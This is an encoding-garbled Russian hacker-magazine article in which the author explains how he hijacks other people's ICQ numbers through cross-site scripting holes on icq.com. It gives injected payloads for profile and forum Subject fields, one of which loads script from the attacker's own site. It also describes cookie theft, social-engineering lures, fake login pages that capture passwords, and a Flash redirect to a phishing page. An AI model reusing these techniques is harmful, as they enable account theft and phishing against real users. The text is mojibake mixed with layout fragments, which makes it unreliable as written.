ÊÐÅÀÒÈÔÔ ÊÎÄÈÍà UNIXOID ÑÖÅÍÀ [ÂÇËÎÌ] ÈÌÏËÀÍÒ PC_ZONE FERRUM ÍÜÞÑÛ ÞÍÈÒÛ Äûðÿâàÿ Àñÿ ÊÀÊ ÈÇÂÅÑÒÍÎ, ÁÎËÜØÈÍÑÒÂÎ ÑÀÉÒΠ ÑÅÒÈ ßÂËßÞÒÑß ÓßÇ- ÂÈÌÛÌÈ. È ÍÅ ÎÁßÇÀÒÅËÜÍÎ ÝÒÎ ÎÁÛ×ÍÛÅ ÄÎÌÀØÍÈÅ ÑÒÐÀ- ÍÈ×ÊÈ: ÍÅÐÅÄÊÎ ÁÀÃÈ ÌÎÆÍÎ ÂÑÒÐÅÒÈÒÜ ÄÀÆÅ Ó ÒÀÊÈÕ ÃÈ- ÃÀÍÒÎÂ, ÊÀÊ ÌÀÉÊÐÎÑÎÔÒ, NASA Êàê ÿ óãîíÿþ óèíû ÷åðåç äûðû â icq.com È ICQ. ÕÎÒß ÀÄÌÈÍÈÑÒÐÀÒÎÐÛ È ÍÀÓ×ÈËÈÑÜ ÇÀÙÈÙÀÒÜ ÑÂÎÈ ÒÂÎÐÅÍÈß ÎÒ PHP-ÈÍÊËÓÄÎÂ È SQL-ÈÍÚÅÊÖÈÉ, CSS ÄÛÐÛ ÊÀÊ ÁÛËÈ, ÒÀÊ È ÎÑÒÀÞÒÑß. À ÂÑÅ ÎÒÒÎÃÎ, ×ÒÎ, ÏÎ ÌÍÅÍÈÞ ÌÍÎ- ÃÈÕ ÃËÓÏÛÕ ÀÄÌÈÍÎÂ, ×ÅÐÅÇ [intro] Ýòî áûëà ïîèñòèíå óäà÷íàÿ íåäåëÿ: sql-èíúåêöèÿ íà îäíîì èç ñàéòîâ NASA, äûðû âî phrack.org è åùå ìàññà çàâîðàæèâàþùèõ âîîáðàæåíèå íàéäåííûõ óÿçâèìîñòåé. Âîò îêàçûâàåòñÿ, êàêîå âäîõíîâåíèå íàõîäèò íà ÷åëîâåêà, êîãäà âñÿ åãî ðîäíÿ íà íåäåëþ ñâàëèâàåò íà äà÷ó.  îáùåì, òâîð÷åñêèé ðàé äëÿ õàêåðà :). Èòàê, èñòîðèÿ ýòà íà÷àëàñü, êàê íå óäèâèòåëüíî, íî÷üþ. Ñèäåë ÿ è èçó÷àë íîâûé óñòàíîâëåííûé icq-êëèåíò qip, è ïåðåìåòíóëî ìåíÿ íà ïîèñê áàãîâ â ñàìîì ãëàâíîì ñåðâàíòå âñåõ àéñèêüþøíèêîâ — icq.com. Äàâíî ñîáèðàëñÿ, ÷åñòíî ãîâîðÿ, íî íà÷àë èìåííî ïîñëå çíàêîìñòâà ñ íîâûì êëèåíòîì. [CSS ÷åðåç icq êëèåíò] Íà ñàéòå icq ìîæíî ïðîñìîòðåòü ïðîôàéë ëþáîãî ïîëüçîâàòåëÿ, çàðåãèñòðèðîâàííîãî â ñèñòåìå. Ïðè ýòîì ìîæíî ïîñìîòðåòü åãî àâàòàðêó, ëè÷íûå äàííûå è äàæå íàêàòàòü åìó ñîîáùåíèå. Íó, òû çíàåøü. Ê ïðèìåðó, ïðîôàéë ìîåãî áûâøåãî óèíà 559822 íàõîäèòñÿ ïî àäðåñó: www.icq.com/whitepages/wwp.phpto=559822. Êîïàÿñü â êëèåíòå, ìåíÿ îñåíèëî: à ÷òî åñëè îñóùåñòâèòü ìåæñàéòîâûé ñêðèïòèíã íà ýòîé ñòðàíèöå Âîïðîñ: «Êàê» Îòâåò: «Î÷åíü ïðîñòî».  íàñòðîéêàõ ïîëüçîâàòåëÿ êëèåíòà ââîäèì äàííûå, îíè çàãðóæàþòñÿ íà ñàéò è îòîáðàæàþòñÿ (ñðàáàòûâàþò) íà ñòðàíèöå ïðîôàéëà.  ïðèíöèïå, âñå ëåãêî, íî îêàçàëîñü, ÷òî åñòü âñåãî äâà óÿçâèìûõ ïàðàìåòðà: «Èìÿ» è «Ôàìèëèÿ». Ïîëå «Íèê» îòáðîñèì: îí íàì íå èíòåðåñåí :). Íî òóò åùå îäèí îáëîì: îãðàíè÷åíèå íà êîëè÷åñòâî ââîäèìûõ ñèìâîëîâ. Ïîýòîìó äëÿ ëîêàëüíîãî àëåðòà, ê ïðèìåðó, ïðèøëîñü ïðèáåãíóòü ê òîé øòóêå, êîòîðóþ òû âèäèøü íà ñêðèíå ïîä íîìåðîì 1. Òî åñòü âáèòü â ïîëå «Èìÿ» ïåðâóþ ÷àñòü ýëåìåíòàðíîãî ñêðèïòà, à çàâåðøàþùóþ ÷àñòü ðàçìåñòèòü â ïîëå «Ôàìèëèÿ». Êàçàëîñü áû, ÷òî òóò ìîæíî ïðèäóìàòü ñ òàêèìè îãðàíè÷åíèÿìè. Íî ìíå ïîñ÷àñòëèâèëîñü íàéòè åùå îäèí óÿçâèìûé ïàðàìåòð, â êîòîðîì êîëè÷åñòâî ââîäèìûõ ñèìâîëîâ áûëî ðàâíî 80 — ýòî «Äîìàøíÿÿ ñòðàíèöà». Ïðàâäà, ñ ýòèì ïàðàìåòðîì áóäü îñòîðîæíåé: ó ìåíÿ òàê çàáàíèëîñü íåñêîëüêî óèíîâ. Õîòÿ âïîëíå âîçìîæíî, ÷òî ýòî íå áàí, à ïðîñòî qip ñõîäèò ñ óìà. Òî÷íî íå çíàþ, íî óèíû óøëè íàâñåãäà :(. Äëÿ ÷åãî ýòî ìîæíî èñïîëüçîâàòü Ê ïðèìåðó, ìîæíî óâîäèòü ÷óæèå óèíû, íó, èëè â êðàéíåì ñëó÷àå, ìîæíî çäîðîâî ïîïðèêàëûâàòüñÿ. Ñêàæåì, ìîæíî ðàçìåñòèòü â ñîáñòâåííîì ïðîôàéëå ñêðèïò ðåäèðåêòà íà ñâîé ñàéò è ñòåáàòüñÿ íàä óäèâëåíèåì ëþäåé, çàõîäÿùèõ ïîñìîòðåòü ïðîôàéë :). Âîò òàê, êàê ó ìåíÿ, ïîëþáóéñÿ: www.icq.com/whitepages/wwp.phpto=559822 [äûðêè íà ôîðóìå ñàéòà icq.com]  ÷åì íàì î÷åíü ïîâåçëî, òàê ýòî â òîì, ÷òî íà icq.com ïðàêòè÷åñêè âñå ñåðâèñû íàõîäÿòñÿ â îäíîì ïîääîìåíå. Ñëåäîâàòåëüíî, øàíñû íàéòè ïîäõîäÿùóþ äûðó è óâåñòè íóæíûå êóêèñû çàìåòíî ïîäðàñòàþò :). Ïðîäîëæàÿ ñâîè èññëåäîâàíèÿ, ÿ çàëåç íà ôîðóì. Àâòîðèçàöèÿ ïðîùå íåêóäà, ÷òî ìåíÿ î÷åíü îáðàäîâàëî. Äëÿ àâòîðèçàöèè íóæíî ââåñòè â ïîëå «Ëîãèí» ñâîé óèí èëè ïðèìàðè, â ïîëå «Ïàðîëü» — ñâîé ïàðîëü ê óèíó (êîòîðûé, êàê òû ïîíèìàåøü, î÷åíü ÷àñòî ïîäõîäèò è ê ïðèìàðè). Òåïåðü îñòàëîñü òîëüêî íàéòè CSS äûðêó â ôîðóìå. Ñêàæó ÷åñòíî, ÿ ÷óòü ñî ñìåõó íå óìåð ïîñëå ïåðâîãî òåñòà íà CSS. Äàæå íå óñïåë êîïíóòü bb-òýãè, êàê óÿçâèìûé ïàðàìåòð áûë íàéäåí. Èì îêàçàëîñü ïîëå Subject ïðè îòâåòå â òåìå.  ðåæèìå preview íè÷åãî íå ôèëüòðîâàëîñü, ÷òî óæå ïðåäâåùàëî áîëüøèå âîçìîæíîñòè. Ïðîâåðèâ íà ñåáå äåéñòâèå ñîñòàâëåííîãî ñêðèïòîâîãî ñïëîèòà (ïîêà ëîêàëüíîãî): ">alert(document.cookie), íà ìîåì ëèöå ïîÿâèëàñü óëûáêà. Òàêèì îáðàçîì, ÿ óáåäèëñÿ â òîì, ÷òî âñå ïðîõîäèò áîëåå-ìåíåå óñïåøíî. Íî ïðè îêîí÷àòåëüíîì ïîñòå ñîîáùåíèÿ, ïðîñìîòðåâ ñîðñ ñòðàíèöû, ÿ óâèäåë, ÷òî ôèëüòðóåòñÿ ëþáîå ïðîÿâëåíèå ñëýøåé è äâîéíûõ êàâû÷åê: ÑÎÖÈÀËÜÍÀß ÈÍÆÅÍÅÐÈß + CSS Êàê âèäèøü, ñêðèïò, ïîìåùåííûé â ôîðóì, âûäàåò ñåáÿ ñ ãîëîâîé, ÷òî íåìíîãî ïîðòèò íàøè ïëàíû (íî äàæå íåñìîòðÿ íà ýòî, ìíå âåçëî, è óèíû ñàìè øëè êî ìíå â ëàïû :)). Íî íå îïóñêàé ðóêè, âåäü ÷òî ìåøàåò ïðîñòî êèíóòü ññûëêó â ôîðóì è çàñòàâèòü ïîëüçîâàòåëÿ ïðîéòèñü ïî íåé èëè îòïðàâèòü ôîðóì÷àíèíó ñîîáùåíèå ñ ýòîé ññûëêîé. Íî ïîìíè, ÷òî ðåçóëüòàò ïîëíîñòüþ çàâèñèò òîëüêî îò òåáÿ, òàê êàê òóò áåç õîðîøèõ íàâûêîâ ñîöèàëüíîãî èíæåíåðèíãà íå îáîéòèñü. Ìîæíî òàêæå ïîìåñòèòü âðåäîíîñíûå ñêðèïòû â ñâîé ïðîôàéë, à ïîòîì ïðîñòî ãóëÿòü ïî ôîðóìó è òâîðèòü áåñïðåäåë. Êàê ìèíèìóì, 5 ïîëüçîâàòåëåé èç 10 äà çàãëÿíåò ê òåáå â ïðîôàéë, ïðåæäå ÷åì óèí çàáàíÿò :). CSS ÍÈ×ÅÃÎ ÑÅÐÜÅÇÍÎÃÎ ÑÎÒ- ÂÎÐÈÒÜ ÍÅËÜÇß. ÍÀÄÅÞÑÜ, ÌÎß ÑÒÀÒÜß ÑÅÃÎÄÍß ÐÀÇÂÅÅÒ ÝÒÎ ÏÐÈÅÂØÅÅÑß ÌÍÅÍÈÅ. ß ÐÀÑ- ÑÊÀÆÓ, ÊÀÊ ß ÓÃÎÍßÞ ICQ-ÓÈÍÛ ×ÅÐÅÇ ÁÀà ÍÀ ÑÀÉÒÅ ICQ.COM | PinkPanther (PinkPanther@hackzona.ru) title="">"> ………" >"><script src=http://my_site/1.js></sc... Ïëàíû ðóøàòñÿ. Ìàêñèìóì, ÷òî òóò ìîæíî ñäåëàòü — âñòàâèòü àëåðò, íàïðèìåð: , íî íè÷åãî áîëåå ñåðüåçíîãî îòñþäà íå âûæàòü. Íå ïîìîã îáõîä ôèëüòðàöèè è ðàçíîîáðàçíàÿ ïåðåêîäèðîâêà ñëýøà è êàâû÷åê. [íîâàÿ ìàçà] Òóò ÿ çàìåòèë îäíó øòóêó: åñëè êëèêíóòü íà íàçâàíèå ñâîåãî ïîñòà èëè ïðîñìîòðåòü ñïèñîê âñåõ ñâîèõ ïîñòîâ, ìîæíî ñëîâèòü âñòàâëåííóþ CSS. Ìåíÿ òàêîå íå óñòðàèâàëî, òåì áîëåå, ÷òî âòîðîé ïàðàìåòð â çàãîëîâêå ñîîáùåíèÿ ïîëíîñòüþ ôèëüòðîâàëñÿ, è ïîýòîìó íàä ñâîèì íèêîì ÿ âèäåë îòîáðàæåííûé ñêðèïò, ïî êîòîðîìó è ñòîèëî êëèêàòü :). Ïðèøëîñü íà÷àòü ïîèñêè äðóãèõ óÿçâèìîñòåé. Îñòàâèâ â ïîêîå «Îòâåò â òåìó ñ öèòèðîâàíèåì», ÿ íàæàë êíîïêó «Íà- ÷àòü íîâóþ òåìó». Âîò òóò (â ðåæèìå preview) â ïîëå Subject/Question íå ðàáîòàë íè îäèí ñêðèïò, âñå æåñòêî ôèëüòðîâàëîñü. Íåìíîãî îò÷àÿâøèñü, ÿ âñå æå çàïîñòèë òåìó.  ñïèñêå âñåõ òåì (â ðàçäåëå) ÿ óâèäåë, ÷òî ìîé ñêðèïò âûäàåò ñåáÿ ñ ãîëîâîé. Íó ÷òî æ, ðàáîòàþò ôèëüòðû. ß àâòîìàòîì êëèêíóë íà òåìó, íà÷àëàñü çàãðóçêà, è, î ÷óäî, ñêðèïò ñðàáîòàë! Íèêàêèõ ôèëüòðîâ âíóòðè òåìû íå îêàçàëîñü, è íóæíàÿ àêòèâíàÿ CSS áûëà íàéäåíà. Êîíå÷íî, î÷åíü îáëàìûâàëî, ÷òî â ñïèñêå òåì ìîÿ ñèëüíî ïàëèëàñü, íàçâàíèåì êîòîðîé âûñòóïàë ìîé ñêðèïòîâûé ñïëîèò. Íî ñ ýòèì, ê ñîæàëåíèþ, íè÷åãî íå ïîäåëàòü, âåäü äàæå ïðè ïåðåâîäå åãî â äðóãóþ êîäèðîâêó, ÷òîá õîòü íåìíîãî çàïóòàòü ïîëüçîâàòåëåé, ñêðèïò â òåìå ðàáîòàòü íå õîòåë. Òàêàÿ âîò çàáàâíàÿ ôèëüòðàöèÿ, è òàêèå âîò ãëóïûå àäìèíû. Íî, êàê òû ïîíèìàåøü, êðàñòü êóêèñû ñìûñëà íåò, òàê êàê â ÷èñòîì âèäå ìû ïîëó÷àåì òîëüêî óèí (ïðèìàðè) è íèê, íî íå ïàðîëü, à âûòÿãèâàòü åãî, íàïðèìåð, èç ñåññèè íåðåàëüíî, òàê êàê ñêîðåå âñåãî åå èäåíòèôèêàòîð íèêàê íå ñâÿçàí ñ ïàðîëåì. Ìîæíî áûëî áû ïîýêñïåðèìåíòèðîâàòü ñ ïîäñòàíîâêîé ÷óæèõ êóêîâ (ýòî åñëè âäðóã ê ñåññèè íå áûë ïðèâÿçàí àéïè íàñòîÿùåãî ïîëüçîâàòåëÿ), íî ìåíÿ äàæå íà ýêñïåðèìåíò ýòà èäåÿ íå âäîõíîâèëà. Åäèíñòâåííîå, ÷òî ÿ ìîã ïîëó÷èòü, — ýòî äîñòóï â ÷óæîé ëè÷íûé êàáèíåò (èìåííî ôîðóìíûé) è âîçìîæíîñòü ïîñòèòü ñîîáùåíèÿ îò äðóãîãî ïîëüçîâàòåëÿ. Êàêèì-ëèáî îáðàçîì óçíàòü èëè ñìåíèòü ïàðîëü/èíôó ÷åðåç ïðîôàéë áûëî íåâîçìîæíûì, ïîýòîìó ÿ ïîøåë äðóãèì ïóòåì — ïóòåì ïðÿìîé êðàæè ïàðîëåé ÷åðåç ôåéê-ñòðàíèöû àâòîðèçàöèè. FLASH-CSS ÀÒÀÊÀ Èíîãäà ïðîâåñòè CSS-àòàêó ñòàíäàðòíûìè ìåòîäàìè íåâîçìîæíî.  òàêîì ñëó÷àå òåáå ìîæåò ïîìî÷ü î÷åíü ïðîñòîé è èíòåðåñíûé ñïîñîá. ß ãîâîðþ ïðî ôëåø-àòàêó. Äëÿ ýòîãî òåáå ïîòðåáóåòñÿ ñîçäàòü âî Flash-ðåäàêòîðå êàêóþ-òî êàðòèíêó è â ïàðàìåòð getURL âïèñàòü ññûëêó, ê ïðèìåðó, ñ ðåäèðåêòîì íà ôåéê ÷åðåç ïàññèâíóþ CSS (Ñì. ñêðèí.). Ïîñëå, â ïîëå Subject, íàäî ïðîïèñàòü: .
Darling, I need more contacts! [XÀÊÅÐ 11 [83] 05 > ÂÇËÎÌ 061]
Change language